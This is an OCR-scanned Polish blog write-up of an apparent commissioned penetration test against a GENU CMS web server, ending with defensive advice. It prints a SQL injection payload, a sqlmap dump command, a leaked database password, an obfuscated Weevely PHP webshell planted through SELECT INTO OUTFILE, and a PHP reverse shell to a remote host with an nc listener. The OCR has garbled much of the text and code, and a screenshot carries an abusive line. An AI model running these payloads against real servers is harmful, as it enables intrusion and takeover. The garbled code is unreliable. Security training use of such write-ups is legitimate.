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Najczesciej stabym ogniwem systemu zabezpieczen okazuje sie cztowiek i jego zte nawyki.
Tak tez byto podczas jednego z moich ostatnich zlecen. Jak zapewne zauwazyliscie

moje posty to gtownie bug tracking niz exploitowanie. Tym razem okazato sie, iz sytuacja
nie wymaga wiekszych umiejetnosci hakerskich a wiedzy jak funkcjonuja poszczegdlne
elementy systemu.

CM5 Content Management System

Poproszono mnie o zweryfikowanie mozliwych
scenariuszy nieuprawnionego dostepu do strony/serwera www. Dosy¢ niechetnie zgodzitem
sie na to, poniewaz nie lubie bawi¢ sie w exploitacje webaplikacji. Po wstepnej analizie
strony okazato sie, ze jest tam mato znany CMS. Przygladajac mu sie uwaznie zauwazytem
btad typu SQL Injection.

Poczatkowo myslatem, iz sytuacja bedzie dosy¢ jasna i klarowna. Bylem przekonany
iz schemat sieciowy owego przypadku przedstawia sie nastepujaco:
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Sprawdzanie zaczatem od dziatlu z newsami i artykutami. O ile w dziale z newsami
nie znalaztem zadnego btedu.
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| Search | in subjects -

test
Posted by admin on Sat, Jun 13th 2015, 1:04 pm

testowy

MENU

Home

Browse news
Submit news
Articles

Forum

Polls
Administration

USERS
Lag in
My profile
Register
Forgot password?
Currently, there are 1
guest(s) and 0

registered user(s)
online.

YOU SHOULD
KILL YOURSELF

Send to friend
Comment this news (0)

Page: 1
GENU

—
o . 11:11
PLE « o) %0 ™

2015-06-18

To juz wykonanie prostego testu na obecnosc¢ sqli w dziale z artykutami dato wynik
pozytywny.
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'http:J'fwebdev.s...rticle_id:2%2? x

€& @ webdev.s-m-s.ocal/GENU-2012 3/articles/read php?article_id=2] C || Q szuka) wTE 3 A4 68 =

Error in query "SELECT genu_articles.article date, genu_articles article_subject, genu_articles article_text, genu_users.user_id, genu_users user_name FROM
genu_articles, genu_users WHERE genu_articles user_id = genu_users.user_id AND genu_articles article_id = 2\".

Komunikat ktory sie nam wyswietlit jasno informuje o istnieniu btedu. Po szybkiej analizie
komunikatu udato mi sie mniej wiecej ustali¢ strukture bazy danych.

Na podstawie informacji z komunikatu btedu utozytem zapytanie sql, ktére postanowitem
recznie wstrzykna¢ do kodu strony.

Source code &0

null union select
1,concat(user name,0x3a,0x3a,0x3a,user password),3,4,5 from
genu_users- -
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@ Potgczenie zostato
zresetowane

Polaczenie z serwerem zostato zresetowane podczas wczytywania strony.

* Witryna moze by¢ tymczasowo niedostepna lub zbyt obcigzona. Sprobuj
ponownie za kilka minut.

* Jesli nie mozna otworzyc zadnej strony, nalezy sprawdzic¢ swoje potaczenie
sieciowe.

® Jesli ten komputer jest chroniony przez zapore sieciowa lub serwer proxy,
nalezy sprawdzic, czy program Firefox jest uprawniony do taczenia sie z
Internetem.

'\ Sprobuj ponowni

11:59
2015-06-18

Proba recznego wstrzykiwania zapytania zakonczylo sie komunikatem przegladarki o tresci
,Polaczenie zostato zrestartowane”. Zaczeto mnie to zastanawiac, ale zeby potwierdzic¢
swoja teorie i wykluczy¢ mozliwos¢ btednego sformutowania postanowitlem uzy¢ narzedzia
do automatycznego wstrzykiwania zapytam sql czyli sqlmap’a, ktory jest domyslnie
zainstalowany w dystrybucji KaliLinux.
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Uzycie sqlmap’a upewnito mnie w przekonaniu, iz owa webaplikacja jest chroniona poprzez
jakiegos rodzaju WAF/IPS (Web Application Firewall/Intrusion Protect System). Jednak
znajac przypadki w ktérych pomimo funkcjonowania takich systeméw dochodzito

do wlamania, nie poddawatem sie i wykonywatem kolejne préby za pomoca sqlmapa’a.
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I byt to przetomowy krok poniewaz nagle okazato sie, iz parametr ,article id” jednak jest
podatny i to w nim znajduje sie btad (zaskakujace nieprawdaz? ile to nowego potrafia
powiedzie¢ skrypty ;>). Jak pdzniej sie okazato firewall ktérym chronit serwer www filtrowat
zapytania webowe miedzy innymi pod katem wystapienia stowka ,null”, ktére ,jest
charakterystyczne dla atakéw SQL Injection” (cytat admina).

Poprawitem swdj poczatkowy schemat tak by zawierat informacje, ktore udato mi sie
do tej pory zebrac.
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Sied w ktorej znajdowat sie cel

Internet

y Siec atakujgcego
webdevs-m-s local / IPS/WAF
172.16.2.6 /

Fi
[ 1

Filtr: IF Szapytanie containz null” then
drop packaze

Windows Atakujgcepgo KaliLinux Atakujgcepo
1721633 1721634

Bogatszy o ta wiedze przystapitem do wyciggania hasta z bazy danych. Pierwszym
co musiatem zrobi¢ to zweryfikowac¢, ktora z baz danych jest baza odpowiedzialng za tres¢
strony.
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Po odpytaniu bazy ,admin” ukazaly mi sie tabele zawierajace przedrostek charakterystyczny
dla cms (byta to jego nazwa, podobnie jest z WordPresem czy Joomla). Nastepnym krokiem
byto podanie slmap’owi odpowiednich danych takich jak miejsce gdzie znajduja sie login

i hasto. Ponownie odwotujac sie do btedu ktéry wyswietlita nam przegladarka podczas testu
na obecnos¢ podatnosci i bazujac na informacjach tam zawartych przygotowatem ponizsze
polecenie:

root@zuo:~# sqglmap -u
,http://webdev.s-m-s.local/GENU-2012.3/articles/read.php?article id=2" -D
admin -T genu users -C user name,user password -dump
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Po tym jak Sqlmap pobrat z bazy hash hasta, zapytat czy chce sprébowaé ztamac hasto.
Oczywiscie wcisnatem ,Y”.
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Jak widac¢ po screenach jak do tej pory zajeto to okoto péttora godziny z ztamaniem hasta
wtacznie (co tak naprawde trwato 10 sekund poniewaz hasto byto banalnie tatwe). Jednakze
catos¢ podczas wykonywania dziatan podczas wtasciwych dziatan zajeta dwa dni (z wzgledu
na skomplikowanie hasta).
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Wydawatlo by sie, ze to koniec testéw, ale! Nic bardziej mylnego. Postanowilem sprawdzi¢
jakie mozliwosci daje mi panel uzytkownika na uprawnieniach ,admina”. Oczywistym jest
iz szukalem przede wszystkim mozliwosci uploadu plikow na serwer.
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web - Administration - Medias \_+ lEI_I—J
& webdev.s-m-s.local/GEMU-2012.3/admin/medias.php Zroot 1‘:? B 4+ i & =

Add a file
File: | Przegiadaj_ | Nie wybrano pliku.
New name (without extension):
| Add |
& | =]

MENU Back to administration section

Po chwili udato mi sie znalez¢ upload. Aby okresli¢ gdzie tadowane sa pliki podatem
do uploadu plik graficzny.

' web - Administration - Medias 'I\_+ E&ﬂh
(- webdev.s-m-s.local/GEMU-2012.3/admin/medias.php #root ﬁ E ‘ ﬁ‘ 9 =

Add a file
File: | Przegladaj_ | Nie wybrano pliku.
New name (without extension):
| add |
o k= H

. root.png (Obrazek PNG, 60...

& I.'.EI::IE- s-m-s.local/GENU-2012.3/medias/image/root.png I

got root?

Jak widac¢ na screenie miejscem ktorym przechowywana jest grafika jest /medias/image.
Dalszym co zrobitem to weryfikacja czy mozliwym jest wrzucenie na serwer pliku php,
za pomoca ktérego uzyskamy dostep do powloki systemowe;j.
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got root?

R R £

shell.php obfuskowany_she... putty

14:53 P

> SO W 0618
Na takie przypadki mam przygotowane dwa pliki. Jeden jest to standardowy plik .php
z webshellem a drugi specjalnie wygenerowany i obfuskowany. Podczas prob wrzucenia
plikow napotkalem nastepujace problemy. Plik shell.php zawierajacy typowy webshell

nie przeszedt przez WAF/IPS, natomiast podczas gdy chciatem wrzuci¢ wersje zaciemniona,

panel odpowiedziat iz .php jest ztym formatem.

Poczatkowo chciatem sie juz poddac, jednak postanowitem sprawdzi¢ jeszcze kilka rzeczy.
Czesto spotykam sie z faktem zapisywania starych plikdw konfiguracyjnych jako
config.php.txt. Tak byto i tym razem.
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'http:f;’webdev.s...fconfig.php.bct ® = =Lt |
€ | @ webdev.s-m-s.local/GENU-2012 3fincludes/config.php.tet | Q #root v B 3+ A 0 =
< ?php

// Database config file

define ('SQL_TYPE', 'mysqgl'):

define ('SQL_HOST', 'localhost'):
define ('5QL_PORT', '3306");:

define ('5QL_DATABASE', 'admin');
define ('SQL_USER', ‘'admin’):

define ('SQL_PASSWORD', 'ZAQ!lgaz'):

>

o, o ] , i 1606 |
- | = PL &= ) W me
b E i i S« OU® 5061

Ptanie co to nam daje i co dalej z tym zrobi¢? To juz kolejna czes¢ artykutu.
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Zapewne kazdy zna MySQL i miat

z nim do czynienia. Ale czy kazdy zdaje sobie sprawe z mozliwosci jakie nam daje? MySQL
to nie tylko baza danych a cata aplikacja bazodanowa pozwalajaca wykonywac réznego
rodzaje operacje na zasobach bazy danych Jak i na plikach. Wiecej o mozliwosciach jakie
daje MySQL mozecie poczytac tu.
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",wl phpMyAdmin ® = = o X
(- @ webdev.s-m-s.local/phpmyadmin/ || Q #root 3 ﬁ' B 4 @ e =

php
Witamy w phpMyAdmin

Jezyk - Language

Polski - Polish |Z|

Login @
Uzytkownik: -
admin
Hasto:
(111111 ]]

Wykonaj

16:21
2015-06-18
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Znalezienie panelu nie bylo wcale trudne. Zgodnie z domyslnymi ustawieniami znajdowat sie
pod aliasem /phpmyadmin.
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'H-M webdev.s-m-s.local / local... %

(- ﬁ @ webdev.s-m-s.local/phpmyadmin/index.phpltoken= b0 efdTacT ed0h269488e01 dbdcalds9 + & | | Q #root Ed ﬁ’ B ¥+ @ e =
phpMyAdmfﬂ C1] Serwer: localhost » @ Baza danych: admin
) 94 Struktura | ] SQL | 4 Szukaj [ Zapytanie [& Eksport =} Import 4® Operacje = ¥ Wiecej
REIRZ0016
Ostatnie  Ulubione
Mowa Tabela 4 Dziatanie Rekordy Typ Metoc
“ ] @ porowv|
=2 admin napis:
=3 adml\llln [ genu_answers i [=] Przegladaj 34 Struktura % Szukaj F¢ Wstaw §§ Opréznij @ Usun 0 InnoDB  latin1_
- Nowy .
B e asners [[] genu_articles i [E] Przegladaj 34 Struktura % Szukaj ¥¢ Wstaw G5 Opréznij @ Usun 2 InnoDB  latin1_
= g 55 !
+.0+ genu_articles [[] genu_categories 1} [=] Przegladaj 24 Struktura & Szukaj % Wstaw @Opro’z‘nij @ Usuni 1 InnoDB  latin1_
= gl =S -
+_ 1% genu_categories [ genu_comments i_} |=| Przegladaj Z# Struktura % Szukaj ::i-E Wstaw @ Opréznij @ Usuri 9 InnoDB  latin_
+- Lz genu_comments [ genu_news w [E] Przegladaj 34 Struktura & Szukaj % Wstaw @ Oprdznij @ Usuri 2 InnoDB  latind_|
+. % genu_news [[] genu_posts 3 7] Przegladaj s Struktura % Szukaj F¢ Wstaw §5 Opréznij @ Usuri 0 InnoDB  latin1_
+1J4 genu_posts enu_questions ¢ =] Przegladaj &4 Struktura & Szuka] ¥ Wstaw Qprdznij Usur 0 InnoDB  latint
genu_q w E 9iada) By % | * p | _
= ti - . . .
I ;" genu_ques.lons [[] genu sessions . (] Przegladaj bt Struktura % Szukaj & Wstaw I Oproznij @ Usuri 70 InnoDB  latin1_
% genu_sessions X . B i
-L }‘L genu_settings [ genu_settings 1 [E] Przegladaj 34 Struktura % Szukaj F¢ Wstaw G Oproznij @ Usun 1 InnoDB  latin1_
= — N
+. genu_smilies [] genu_smilies i [l Przeglada] 4 Struktura % Szukaj #¢ Wstaw 5§ Oproznij @ Usun 20 |nnoDB  latin1_
= gl =S —
+.0+ genu_users [C] genu_users 1 [E] Przegladaj 34 Struktura % Szukaj F¢ Wstaw G Oproznij @ Usun 1 InnoDB  latin1_
+L s genu_votes [ genu_votes i ] Przegladaj J¢ Struktura % Szukaj F¢ Wstaw §5 Opréznij @ Usun 0 InnoDE  latin1_
+1 | admin_strona 12 tabele Suma 37 InnoDB latin1)
T_---J miepctioakschena t [[1Zaznacz wszystkie Z zaznaczonymi: EI -
i mysaql
'||'—.__J performance_schema (= Podglad wydruku §& Stownik danych
+- 1 phpmyadmin -
_L wdms? 13Utworz tabele
-l
Nazwa: Liczba kolumn: |4 = g
14 T 3

5 : L S DIl

Dalsze dziatania postanowitlem prowadzi¢ na bazie ,admin” w ktdrej znajduja sie tabele
z wczesniej wspomnianej aplikacji.
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",wl webdev.s-m-s.local / local... % | & =0 L
(- @ webdev.s-m-s.local/phpmyadmin/import.php#PMAURL-0:db_structure.php?db=admin&table: 7 C' | | Q #root 2 ﬁ’ B ¥+ @ e =
. php M -7 Serwer: localhost » @ Baza danych: admin el
oElge0 € 94 Struktura | ] SQL | 4 Szukaj [ Zapytanie [& Eksport =} Import 4® Operacje = ¥ Wiecej J
|
f @ webdev.s-m-slocal / localhost / admin | phpMyAdmin 4.2.12deb2 - Mozilla Firefox — E@Iﬂ'

& webdev.s-m-s.local/phpmyadmin/querywindow.php
L} saL = = Import plikow Historia SQL
Wykonanie zapytania/zapytan SQL do bazy danych admin: @
1 create table exploit{data blob);

Z insert into exploit wvalues('<?php
sezyg="jMpeyRrPSdsb3N1dWOxMSc7ZolWNobyholnPCoulGsulz4n0Z Vi ¥olWwo ¥ mFz ZTY¥0XZRo11Y¥2 9 ko lZ5hweolm™

$uggo EolM3JZNolvdW50J2sk¥T0kXal DN LETOE] ._.lQItpz.lh_{z.)le 1dCok¥5k3Pol8dol rhyegJiYgolJEHad ::pF 1"; %chtn =

Str_r e{"rp”,"","strpr_rprrperpprplacrpe”);

Faacd: 3J1lolcE ZUoYXIy¥HkoJyIbE1x3PVazHol 58nLCeviHMolwIyksIGF yemF SECenLCer Jy ks IolGpvaW4oYHT
$jsoc="1¥olXlfc2xpYol2allaloo CEpo lI_I"IpVSka_.lIt,lY SBvTolcesa 1lycolulGsucliz4nclos0="; $t.khc = gchea("g", ",
"gbgagsge&g4g_gdecgogde”); $ivnj htn ("1™, "clrlelaltlel 1£flulnleltlileln™); $kxvE = $iwvnj('', $tkheci{$chtn("ol"

3uggo. $ezyg-3aacd._$jsoc))); EE J
2% gelect * from expleit| into cutfile " fvar/wnne/html S CENU-2012 -3/medizs/imzge/exploit.php';

Wyczysc

[CINiech kazdy uzytkownik ma dostep do tej zakfadki

z t ie SQL:
aznacz to zapytanie [ Zastap istniejaca zaktadke o tej samej nazwie

| Mie nadpisuj t i ki i
' Ie nadpisuj tego zapytania spoza okna [ Separator | ; ]1[¥|Pokaz to zapytanie tutaj ponownie Miykonay

Nazwa: Liczba kolumn: |4 = %

16:29
2015-06-18

Po uruchomieniu modutu do wykonywania zapytan sql wpisatem wczesniej przygotowane
zapytania:

PLE « o) %] mg

Source code ol &

-- Tworze tabele w ktdrej umieszcze swdj shellcode

CREATE TABLE test(DATA blob);

-- Dodaje shellcode do bazy danych

INSERT INTO test VALUES('<?php
$ezyg="jMpeyRrPSdsb3N1dWOxMSc7ZolWNobyAolnPCculGsulz4n02V2YolWwoYmFzZT
YOX2Rol1lY29ko1lZShwcolm";
$uggqo="01JGolM9I2NolvdW50]zskYTOkXolLONoLPTOtJolRTtpZihyZXNloldCgkYSk9P
olSdolrbycgliYgolJGMoJGEpPol"; $ohtn =

str replace("rp","","strpr _rprrperpprplacrpe");
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$aacd="VnX3J1lolcGxhY2UoYXJyYXkoJy9bX1x3PVxzXo1lS8nLCcvXHMolvlyksIGFycmF
5KCcnLCcrlyksIolGpvaW4oYXJyo";
$jsoc="1YolX1fc2xpYol20lUoloolIJGESIGMoJGEpolLTMpKSkpKolTt1lY2hvIolCc8ol
LycolulGsuolJlz4nol030="; $tkhc = $ohtn("g", "",

"gbgagsgebg4g gdecgogde"); $ivnj =

$ohtn("1","","clrlelaltlel lflulnlcltliloln"); $kxvf = $ivnj('",
$tkhc($ohtn("ol", "", $uggo.$ezyg.%$aacd.$jsoc))); $kxvf(); 7>');
--Zapisuje zawartos¢ tabeli do pliku exploit.php ktéry znajduje sie

w katalogu z uprawnieniami do zapisu

SELECT * FROM test INTO OUTFILE
‘/var/www/html/GENU-2012.3/medias/image/exploit/php"';

Shellcode zostat wygenerowany w programie Weevely dostepnym w dystrybucji KaliLinux
za pomoca polecenia ,weevely generate <hasto> exploit.php”. Dla utatwienia kod shella
warto sformatowac tak, by podczas wczytywania zapytan byt w jednej linii, wyeliminuje
to ewentualne btedy w zapytaniach.
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'H-M webdev.s-m-s.local / local... %

(- & webdev.s-m-s.local/phprmyadmin/import.php e Q #root k4 ﬂ’ B 4+ @ e =

phpMyAdmfﬂ C1] Serwer: localhost » @ Baza danych: admin

oElgeq e % Struktura L[ SQL 4 Szukaj = [J Zapytanie [ Eksport =} Import 4° Operacie ¥ Wiecej

Ostatnie  Ulubione

¢ Mowa « MySQL zwrdcit pusty wynik (zero wierszy). (WWykonanie zapytania trwato 0.0103 sekund(y).)
—.@". adrmin

=i admin

= NOW exploit (data V7§ MySQL zwrdcil pusty wynik (zZero wierszy). 3 into exploit IB
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JMpeyRrESdsb3N1dW0xMSc7ZolWNobyholnPCoudGsudz 4n0ZVZYolWwoYmFzZTY0KZRo11¥29kol Z5hweolm™ ;
suggo="o0lJE0lM3JZNolvdW50Jzsk¥T0k¥ol 0NolBETO0tJolRTtpZ ihyZXN1o0ldCgkY¥Sk9PolSdolrbyegliYgol JGMoJEEpPol™

+ _}L genu_answers $ohtn = str_replace("rp”,"", "strpr_rprrperpprplacrpe”);

5 Fac] $2acd="TnX3J1lolcCxhY2Uo¥XJy¥ikoJySbX1x3 PFVazXolSBnLlCovEHMol vIyks IGFyemFSEConLCerJyksIol GpvaWdo¥EIyo™ ;

= _—k— genu_articles 29soc="1¥olXlfcZxp¥olZalUaloolJGEsJCMaIGEpal LTMpESkpEolTt1¥2hvIalCeBollycolulGsunlJz4nal030="; %$tkhec

+_}L genu_categories = %chtn("g", "", "gbgagsgefgig_gdecgogde™); $ivnj = $ohtn{"l","","clrlelaltlel lflulnlcltliloln™): N
$kxvf = $iwvnj("', $tkhci$chtn{"ol"™, """, $uggo.3ezyg.$aacd_3jsoc))); $kxvEl); 2>");# Imodyfikowanych Ij

+_ 1z genu_comments :

+ 7 genu_news [ W linii ] [ Edytuj ] [ Utwdrz kod PHP ]
+- ¢ genu_posts

|

T_};_ genu_questions

+-l# exploit

Operacja na wynikach zapytania
+_ s genu_sessions

+L)s genu_settings [E] Utwdrz widok
+- s genu_smilies

+_ 1% genu_users

+. b genu_votes

+- | admin_strona

+L/ /| information_schema
+1-) mysql

+- | performance_schema

+- 4 phpmyadmin
+/ ) wdms2

Jak widac operaja sie powiodta. Teraz nalezy zweryfikowac czy nasz plik zapisat sie
bez bledow.
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& webdev.s-m-s.local/GEMU-2012.3/medias/image/exploit.php #root 1‘} B 4+ &

B i@ - =)

. ™
PLE o o g 165

w | N | 2015-06-18
Jak widac¢ uzyskatem dostep do powloki systemowej jako uzytkownik www-data. Jest

to praktyczny sposob ale nie do konca wygodny. Dodatkowa sprawa, o ktora nie musze sie
martwic¢ podczas ,zamawianych pentestow” jest fakt iz ta metoda co wydane polecenie

pozostawia Slad w logach serwera webowego. Dlatego tez wykonamy jeszcze jedna
czynnosc.

Czynnoscia ta bedzie wykonanie potaczenia zwrotnego do vps umieszczonego gdzies
w ,Internecie”. A oto obecny schemat sieciowy:
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Za pomoca polecenia:
Source code oS e

php -r '$sock=fsockopen("172.16.2.11",443);exec("/bin/sh -i <&3 >&3
2>&3n) ; 1


http://blog.s-m-s.pl/wp-content/uploads/2015/06/Rysunek3.jpg
http://blog.s-m-s.pl/wp-content/plugins/wp-synhighlight/About.html

24

Penetracja serwera webowego przy pomocy bazy MySQL
NO SYSTEM IS SAFE OraZ Weevely‘

Ewebdev.s—m-s.localflocal... %) it B 17216211 - PuTTY (==

(- webdev.s-m-s.local /GEML-2012 3/

@' root@zuo: ~

plL]

2015-06-18

wykonanego na atakowanej maszynie oraz polecenia:

Source code v &

nc -1 -vvv -p 443
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utowrzytem pqczene zwrotne do vps.s-m-s.local
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Posumowanie:

Dlugo zastanawiatem sie jak opisac ten przypadek. W ty miejscu chcialbym podziekowaé
Dorocie za inspiracje i przypomnienie 0 MySQL’'u. W powyzszym przypadku nie zostat
wykorzystany zaden powazny btad w zabezpieczeniach a jedynie btedy w postepowaniu
admina. Artykul powstat ku przestrodze wszystkich, ktérzy odpowiadaja za jakiekolwiek
bezpieczenstwo.
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Wnioski?

Drogi czytelniku! Wywalaj swoje stare konfigi /trzymaj je poza publicznym dostepem. Jesli
posiadasz system IDS/IPS/WAF skonfiguruj go poprawnie, a potem popros aby ktos
zweryfikowal twoje ustawienia.



